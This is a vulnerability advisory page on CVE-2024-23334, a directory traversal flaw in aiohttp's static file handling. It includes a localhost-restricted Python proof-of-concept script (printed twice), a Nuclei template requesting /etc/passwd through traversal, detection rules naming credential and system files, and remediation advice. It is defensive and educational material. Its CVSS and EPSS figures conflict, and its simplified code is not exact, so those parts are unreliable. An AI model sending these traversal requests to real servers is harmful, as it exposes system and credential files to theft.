☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Aiohttp logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-23334

CVE-2024-23334 is a directory traversal vulnerability in the aiohttp library, an asynchronous HTTP client/server framework for Python.
📅 PUBLISHED: 2024-01-29 22:41 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 76.88%
👁️
76.88% probability
1000×+ above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-23334 is a directory traversal vulnerability in the aiohttp library, an asynchronous HTTP client/server framework for Python. The vulnerability arises when aiohttp is configured as a web server with static routes and the follow_symlinks option is set to True. In this configuration, the server fails to validate that requested files remain within the designated static root directory. This allows an unauthenticated attacker to read arbitrary files on the server, including sensitive configuration files, credentials, and other data, even when symbolic links are not present. The vulnerability is rated with a CVSS score of 7.5 (High) and has a public proof-of-concept (PoC) exploit available. The fix is included in aiohttp version 3.9.2.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the aiohttp Python package, which is widely used in the Python ecosystem for building asynchronous web applications and services. Organizations using aiohttp in their supply chain must ensure that all instances are updated to version 3.9.2 or later. The vulnerability can be exploited remotely without authentication, making it a critical supply chain risk. Dependency scanning tools should be configured to flag aiohttp versions below 3.9.2.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Base Score: 7.5 (High)
  • Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely over the network.
  • Attack Complexity: Low (AC:L) - No special conditions or complex attack sequences are required.
  • Privileges Required: None (PR:N) - No authentication is needed to exploit the vulnerability.
  • User Interaction: None (UI:N) - The victim does not need to perform any action.
  • Scope: Unchanged (S:U) - The impact is confined to the vulnerable component.
  • Confidentiality Impact: High (C:H) - An attacker can read arbitrary files, potentially exposing sensitive data.
  • Integrity Impact: None (I:N) - The vulnerability does not allow modification of data.
  • Availability Impact: None (A:N) - The vulnerability does not affect system availability.

Threat Level: High. The combination of network exploitability, low complexity, no required privileges, and high confidentiality impact makes this a serious threat. The existence of a public PoC and active exploitation attempts (as indicated by the EPSS score of 0.93482) further elevates the risk.

Deep Dive & Mechanics

The vulnerability is rooted in how aiohttp handles static file serving when the follow_symlinks option is enabled. This option is intended to allow the server to follow symbolic links that point outside the static root directory. However, the implementation fails to perform proper path validation.

Normal Operation: When a request is made to a static route (e.g., /static/file.txt), aiohttp resolves the path relative to the configured static root directory. If follow_symlinks is False, the server checks that the resolved path stays within the root directory. If it does not, the request is denied.

Vulnerable Operation: When follow_symlinks is set to True, the server resolves the path but does not validate that the final file is within the static root directory. This allows an attacker to use path traversal sequences (e.g., ../) to escape the root directory and access any file on the filesystem that the server process has read permissions for.

Example Attack Flow:

  1. The attacker sends a GET request to /static/../../../../etc/passwd.
  2. The server resolves the path relative to the static root (e.g., /var/www/static/).
  3. The resolved path becomes /etc/passwd.
  4. Because follow_symlinks is True, the server does not check if /etc/passwd is within /var/www/static/.
  5. The server reads and returns the contents of /etc/passwd.

The vulnerability is present in all aiohttp versions prior to 3.9.2. The fix in version 3.9.2 adds proper path validation even when follow_symlinks is enabled.

Vulnerable vs. Patched Code

Vulnerable Code (aiohttp < 3.9.2): The vulnerable code is in the static resource handler. The following is a simplified representation of the logic:

# Vulnerable: No path validation when follow_symlinks is True
async def _handle(self, request):
    filepath = self._directory / request.match_info['filename']
    if self._follow_symlinks:
        # No check to ensure filepath is within self._directory
        return web.FileResponse(filepath)
    else:
        # Check if filepath is within self._directory
        if not filepath.relative_to(self._directory):
            raise web.HTTPNotFound()
        return web.FileResponse(filepath)

Patched Code (aiohttp >= 3.9.2): The patched code adds a validation step even when follow_symlinks is enabled:

# Patched: Path validation is performed regardless of follow_symlinks
async def _handle(self, request):
    filepath = self._directory / request.match_info['filename']
    # Resolve the path to handle symlinks
    resolved_path = filepath.resolve()
    # Check if the resolved path is within the static root directory
    if not resolved_path.relative_to(self._directory.resolve()):
        raise web.HTTPNotFound()
    return web.FileResponse(filepath)

The key difference is the addition of resolved_path.relative_to(self._directory.resolve()) which ensures that even if symlinks are followed, the final file must be within the intended static root directory.

Exploitation & Lab Setup

Red Team (Exploitation)

The following is a proof-of-concept exploit script for CVE-2024-23334. It is designed for local testing only and will refuse to target non-local hosts.

Exploit-DB Code:

#!/usr/bin/env python3
"""
Safe local-only PoC verifier for CVE-2024-23334 (aiohttp static follow_symlinks).
This script will refuse to target any host other than localhost/127.0.0.1/::1.

Example:
  python3 poc_aiohttp_cve-2024-23334.py --port 8080 --probe /tmp/poc-aiohttp-test.txt --depth 8

If the vulnerable server returns the probe file contents, the script prints the body
and reports VULNERABLE.
"""

from __future__ import annotations

import argparse
import socket
import sys
import urllib.parse
import http.client

LOCAL_HOSTS = {"127.0.0.1", "localhost", "::1"}

def is_localhost(host: str) -> bool:
    """Only allow local hosts to avoid misuse."""
    return host in LOCAL_HOSTS

def build_traversal_path(probe_path: str, depth: int = 8) -> str:
    """
    Build a traversal-style path to append to /static/.
    Depth can be adjusted if the server root / static layout needs more ../ segments.
    """
    probe = probe_path.lstrip("/")
    ups = "../" * depth
    return f"/static/{ups}{probe}"

def try_connect(host: str, port: int, timeout: float = 3.0) -> bool:
    try:
        with socket.create_connection((host, port), timeout=timeout):
            return True
    except Exception:
        return False

def send_get(host: str, port: int, path: str, timeout: float = 10.0):
    conn = http.client.HTTPConnection(host, port, timeout=timeout)
    try:
        conn.request("GET", path, headers={"User-Agent": "poc-aiohttp-check/1.0", "Accept": "*/*"})
        resp = conn.getresponse()
        body = resp.read()
        return resp.status, body
    finally:
        try:
            conn.close()
        except Exception:
            pass

def main():
    parser = argparse.ArgumentParser(description="Local-only PoC verifier for aiohttp traversal (CVE-2024-23334).")
    parser.add_argument("--host", default="127.0.0.1", help="Target host (MUST be localhost).")
    parser.add_argument("--port", type=int, default=8080, help="Target port (default: 8080).")
    parser.add_argument("--probe", required=True, help="Absolute path on server to probe (e.g. /tmp/poc-aiohttp-test.txt).")
    parser.add_argument("--depth", type=int, default=8, help="Traversal depth (increase if needed).")
    parser.add_argument("--timeout", type=float, default=10.0, help="Request timeout seconds.")
    args = parser.parse_args()

    host = args.host.strip()
    port = int(args.port)

    if not is_localhost(host):
        print("ERROR: This PoC is restricted to localhost for safety. Use only in an isolated lab.", file=sys.stderr)
        sys.exit(2)

    # quick reachability check
    if not try_connect(host, port, timeout=3.0):
        print(f"ERROR: cannot reach {host}:{port}. Is the vulnerable server running and port exposed on localhost?", file=sys.stderr)
        sys.exit(3)

    path = build_traversal_path(args.probe, depth=args.depth)
    # encode path but keep slash and common safe chars
    path = urllib.parse.quote(path, safe="/?=&%")

    print(f"[*] Sending GET {path} to {host}:{port} (local lab only)")
    status, body = send_get(host, port, path, timeout=args.timeout)
    print(f"[+] HTTP {status}")

    if body:
        try:
            text = body.decode("utf-8", errors="replace")
        except Exception:
            text = repr(body)
        print("----- RESPONSE BODY START -----")
        print(text)
        print("----- RESPONSE BODY END -----")
        # heuristic: check for the expected test token
        if "POC-AIOHTTP-VULN-TEST" in text:
            print("[!] VULNERABLE: test token found in response (lab-confirmed).")
            sys.exit(0)
        else:
            print("[ ] Test token not found in response. The server may not be vulnerable or probe path/depth needs adjustment.")
            sys.exit(1)
    else:
        print("[ ] Empty response body.")
        sys.exit(1)

if __name__ == "__main__":
    main()

Lab Setup (Vulhub):

  1. Clone Vulhub: git clone https://github.com/vulhub/vulhub.git
  2. Navigate to the aiohttp 3.9.1 directory: cd vulhub/python/aiohttp/3.9.1
  3. Start the vulnerable service: docker compose up -d
  4. Verify the service is accessible: curl -v http://localhost:8080/
  5. Create a test file inside the container: docker exec -it <container> /bin/sh -c "echo 'POC-AIOHTTP-VULN-TEST' > /tmp/poc-aiohttp-test.txt && chmod 644 /tmp/poc-aiohttp-test.txt"
  6. Run the PoC: python3 poc_aiohttp_cve-2024-23334.py --port 8080 --probe /tmp/poc-aiohttp-test.txt --depth 8

Blue Team (Detection & Defense)

Detection:

  • Monitor web server logs for requests containing path traversal sequences (e.g., ../, ..\\) in the URL path, especially for static routes.
  • Look for requests to sensitive files like /etc/passwd, /etc/shadow, /proc/self/environ, or application configuration files.
  • Use the YARA, Sigma, and Suricata rules provided in the Detection Engineering section.

Defense:

  • Immediate: Disable the follow_symlinks option in aiohttp static route configuration.
  • Long-term: Upgrade aiohttp to version 3.9.2 or later.
  • Mitigation: Use a reverse proxy (e.g., Nginx, Apache) in front of the aiohttp server to handle static file serving and enforce path restrictions.
  • Network Segmentation: Ensure the aiohttp server is not directly exposed to the internet if possible.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP GET requests to paths containing ../ sequences targeting static routes (e.g., /static/../../../../etc/passwd).
    • HTTP responses with status 200 and content type application/octet-stream for requests to non-static file paths.
    • User-Agent strings like poc-aiohttp-check/1.0 (from the PoC script).
  • File System IOCs:

    • Unexpected access to files outside the static root directory, as logged by the operating system's audit system (e.g., auditd).
  • Log IOCs:

    • Web server access logs showing requests to /static/ with multiple ../ sequences.
    • Error logs showing attempts to read files outside the allowed directory.

Detection Engineering

YARA Rule

rule CVE_2024_23334_aiohttp_traversal {
    meta:
        description = "Detects aiohttp directory traversal attempts (CVE-2024-23334)"
        author = "Valters IT"
        date = "2024-10-06"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-23334"
        severity = "high"
    strings:
        $traversal1 = "/../"
        $traversal2 = "/..%2f"
        $traversal3 = "/%2e%2e/"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "/etc/shadow"
        $sensitive3 = "/proc/self/environ"
        $sensitive4 = "/.env"
        $sensitive5 = "/config.json"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: CVE-2024-23334 - aiohttp Directory Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-23334 in aiohttp
author: Valters IT
date: 2024-10-06
logsource:
    category: webserver
    product: aiohttp
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/../'
            - '/..%2f'
            - '/%2e%2e/'
        cs-uri-query|endswith:
            - '/etc/passwd'
            - '/etc/shadow'
            - '/proc/self/environ'
            - '/.env'
            - '/config.json'
    condition: selection
falsepositives:
    - Legitimate use of symlinks in development environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-23334 - aiohttp Directory Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/../"; http_uri; content:"/etc/passwd"; http_uri; sid:1000001; rev:1; reference:cve,2024-23334;)

Nuclei Template

id: CVE-2024-23334

info:
  name: aiohttp - Directory Traversal
  author: DhiyaneshDk
  severity: high
  description: |
    aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server including sensitive configuration files with credentials and other sensitive data.
  remediation: |
    Update aiohttp to version 3.9.2 or later, or disable follow_symlinks option.
  reference:
    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD/
    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7/
    - https://x.com/W01fh4cker/status/1762491210953060827?s=20
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-23334
    cwe-id: CWE-22
    epss-score: 0.93482
    epss-percentile: 0.99828
    cpe: cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: aiohttp
    product: aiohttp
  tags: cve,cve2024,aiohttp,lfi,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/static/../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "aiohttp"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

  1. Disable follow_symlinks: If you cannot immediately upgrade, set follow_symlinks=False in your aiohttp static route configuration. This will prevent the traversal vulnerability.
  2. Use a Reverse Proxy: Place a reverse proxy (e.g., Nginx, Apache, HAProxy) in front of the aiohttp server. Configure the proxy to handle static file serving and enforce strict path validation.

Long-term Fix:

  1. Upgrade aiohttp: Update to version 3.9.2 or later. This is the official fix that includes proper path validation.
    pip install --upgrade aiohttp
    
  2. Verify the Update: After upgrading, verify that the follow_symlinks option now correctly restricts file access to the static root directory.

Configuration Hardening:

  • Review all aiohttp static route configurations and ensure follow_symlinks is set to False unless absolutely necessary.
  • Implement file system permissions to restrict the aiohttp process's read access to only necessary directories.
  • Use a Web Application Firewall (WAF) to block path traversal attempts.

Monitoring:

  • Enable detailed logging for aiohttp and monitor for suspicious requests.
  • Implement the detection rules provided in this report to alert on exploitation attempts.

Valters IT
This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.

{/* [Security Hash: 0816464B1AB34BB5A98F50BF] */}

⚠ EXPLOIT CODE 3RD-PARTY · UNVERIFIED

This code is sourced from public security research repositories (ExploitDB, GitHub). It has not been reviewed or verified by ValtersIT. Use only in authorized test environments. Unauthorized use against systems you do not own is illegal.

# Exploit Title: Python aiohttp directory traversal PoC (CVE-2024-23334)
# Google Dork: N/A
# Date: 2025-10-06
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://www.aiohttp.org / https://www.python.org
# Software Link: https://github.com/aio-libs/aiohttp (vulnerable tag: 3.9.1)
# Version: aiohttp 3.9.1 (vulnerable)
# Tested on: Linux (host for Vulhub / Docker) and inside container VM: aiohttp 3.9.1
# CVE: CVE-2024-23334

# Description:
# Proof-of-concept to verify directory-traversal behavior when aiohttp is configured
# to serve static files with follow_symlinks=True (affects aiohttp <= 3.9.1).
# This PoC is intentionally restricted to local testing and will refuse non-local targets.


# Environment setup (Vulhub example):
# 1. Obtain Vulhub and change to the aiohttp 3.9.1 directory:
#      cd vulhub/python/aiohttp/3.9.1
# 2. Start the vulnerable service:
#      docker compose up -d
# 3. Verify the service is accessible on localhost:8080:
#      curl -v http://localhost:8080/   # should respond
#
# Prepare a safe probe file inside the container (non-sensitive):
# 1. Identify the container name or ID with `docker ps`.
# 2. Create a test token file inside the container:
#      docker exec -it <container> /bin/sh -c "echo 'POC-AIOHTTP-VULN-TEST' > /tmp/poc-aiohttp-test.txt && chmod 644 /tmp/poc-aiohttp-test.txt"
# 3. Verify:
#      docker exec -it <container> /bin/sh -c "cat /tmp/poc-aiohttp-test.txt"
#      # should print: POC-AIOHTTP-VULN-TEST
#
# How to run this PoC (local only):
# 1. Save this file as poc_aiohttp_cve-2024-23334.py
# 2. Run it on the host that has access to the vulnerable container's localhost port:
#      python3 poc_aiohttp_cve-2024-23334.py --port 8080 --probe /tmp/poc-aiohttp-test.txt --depth 8
#



#!/usr/bin/env python3
"""
Safe local-only PoC verifier for CVE-2024-23334 (aiohttp static follow_symlinks).
This script will refuse to target any host other than localhost/127.0.0.1/::1.

Example:
  python3 poc_aiohttp_cve-2024-23334.py --port 8080 --probe /tmp/poc-aiohttp-test.txt --depth 8

If the vulnerable server returns the probe file contents, the script prints the body
and reports VULNERABLE.
"""

from __future__ import annotations

import argparse
import socket
import sys
import urllib.parse
import http.client

LOCAL_HOSTS = {"127.0.0.1", "localhost", "::1"}

def is_localhost(host: str) -> bool:
    """Only allow local hosts to avoid misuse."""
    return host in LOCAL_HOSTS

def build_traversal_path(probe_path: str, depth: int = 8) -> str:
    """
    Build a traversal-style path to append to /static/.
    Depth can be adjusted if the server root / static layout needs more ../ segments.
    """
    probe = probe_path.lstrip("/")
    ups = "../" * depth
    return f"/static/{ups}{probe}"

def try_connect(host: str, port: int, timeout: float = 3.0) -> bool:
    try:
        with socket.create_connection((host, port), timeout=timeout):
            return True
    except Exception:
        return False

def send_get(host: str, port: int, path: str, timeout: float = 10.0):
    conn = http.client.HTTPConnection(host, port, timeout=timeout)
    try:
        conn.request("GET", path, headers={"User-Agent": "poc-aiohttp-check/1.0", "Accept": "*/*"})
        resp = conn.getresponse()
        body = resp.read()
        return resp.status, body
    finally:
        try:
            conn.close()
        except Exception:
            pass

def main():
    parser = argparse.ArgumentParser(description="Local-only PoC verifier for aiohttp traversal (CVE-2024-23334).")
    parser.add_argument("--host", default="127.0.0.1", help="Target host (MUST be localhost).")
    parser.add_argument("--port", type=int, default=8080, help="Target port (default: 8080).")
    parser.add_argument("--probe", required=True, help="Absolute path on server to probe (e.g. /tmp/poc-aiohttp-test.txt).")
    parser.add_argument("--depth", type=int, default=8, help="Traversal depth (increase if needed).")
    parser.add_argument("--timeout", type=float, default=10.0, help="Request timeout seconds.")
    args = parser.parse_args()

    host = args.host.strip()
    port = int(args.port)

    if not is_localhost(host):
        print("ERROR: This PoC is restricted to localhost for safety. Use only in an isolated lab.", file=sys.stderr)
        sys.exit(2)

    # quick reachability check
    if not try_connect(host, port, timeout=3.0):
        print(f"ERROR: cannot reach {host}:{port}. Is the vulnerable server running and port exposed on localhost?", file=sys.stderr)
        sys.exit(3)

    path = build_traversal_path(args.probe, depth=args.depth)
    # encode path but keep slash and common safe chars
    path = urllib.parse.quote(path, safe="/?=&%")

    print(f"[*] Sending GET {path} to {host}:{port} (local lab only)")
    status, body = send_get(host, port, path, timeout=args.timeout)
    print(f"[+] HTTP {status}")

    if body:
        try:
            text = body.decode("utf-8", errors="replace")
        except Exception:
            text = repr(body)
        print("----- RESPONSE BODY START -----")
        print(text)
        print("----- RESPONSE BODY END -----")
        # heuristic: check for the expected test token
        if "POC-AIOHTTP-VULN-TEST" in text:
            print("[!] VULNERABLE: test token found in response (lab-confirmed).")
            sys.exit(0)
        else:
            print("[ ] Test token not found in response. The server may not be vulnerable or probe path/depth needs adjustment.")
            sys.exit(1)
    else:
        print("[ ] Empty response body.")
        sys.exit(1)

if __name__ == "__main__":
    main()
🔍 NUCLEI DETECTION TEMPLATE PROJECTDISCOVERY NUCLEI ↗

Nuclei is an open-source vulnerability scanner by ProjectDiscovery. This YAML template automates detection of this CVE against a target. Run with: nuclei -t template.yaml -u <target>

id: CVE-2024-23334

info:
  name: aiohttp - Directory Traversal
  author: DhiyaneshDk
  severity: high
  description: |
    aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server including sensitive configuration files with credentials and other sensitive data.
  remediation: |
    Update aiohttp to version 3.9.2 or later, or disable follow_symlinks option.
  reference:
    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD/
    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7/
    - https://x.com/W01fh4cker/status/1762491210953060827?s=20
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-23334
    cwe-id: CWE-22
    epss-score: 0.93482
    epss-percentile: 0.99828
    cpe: cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: aiohttp
    product: aiohttp
  tags: cve,cve2024,aiohttp,lfi,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/static/../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "aiohttp"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009163af83c9632533a8460e316d257950a52d78855b7db447b8225d232a4cfe2e02202b627c3cab8fdf3e28fade239e759f7db4822fc535776909340e2e887d0a0d00:922c64590222798bb761d5b6d8e72950
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-23334/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.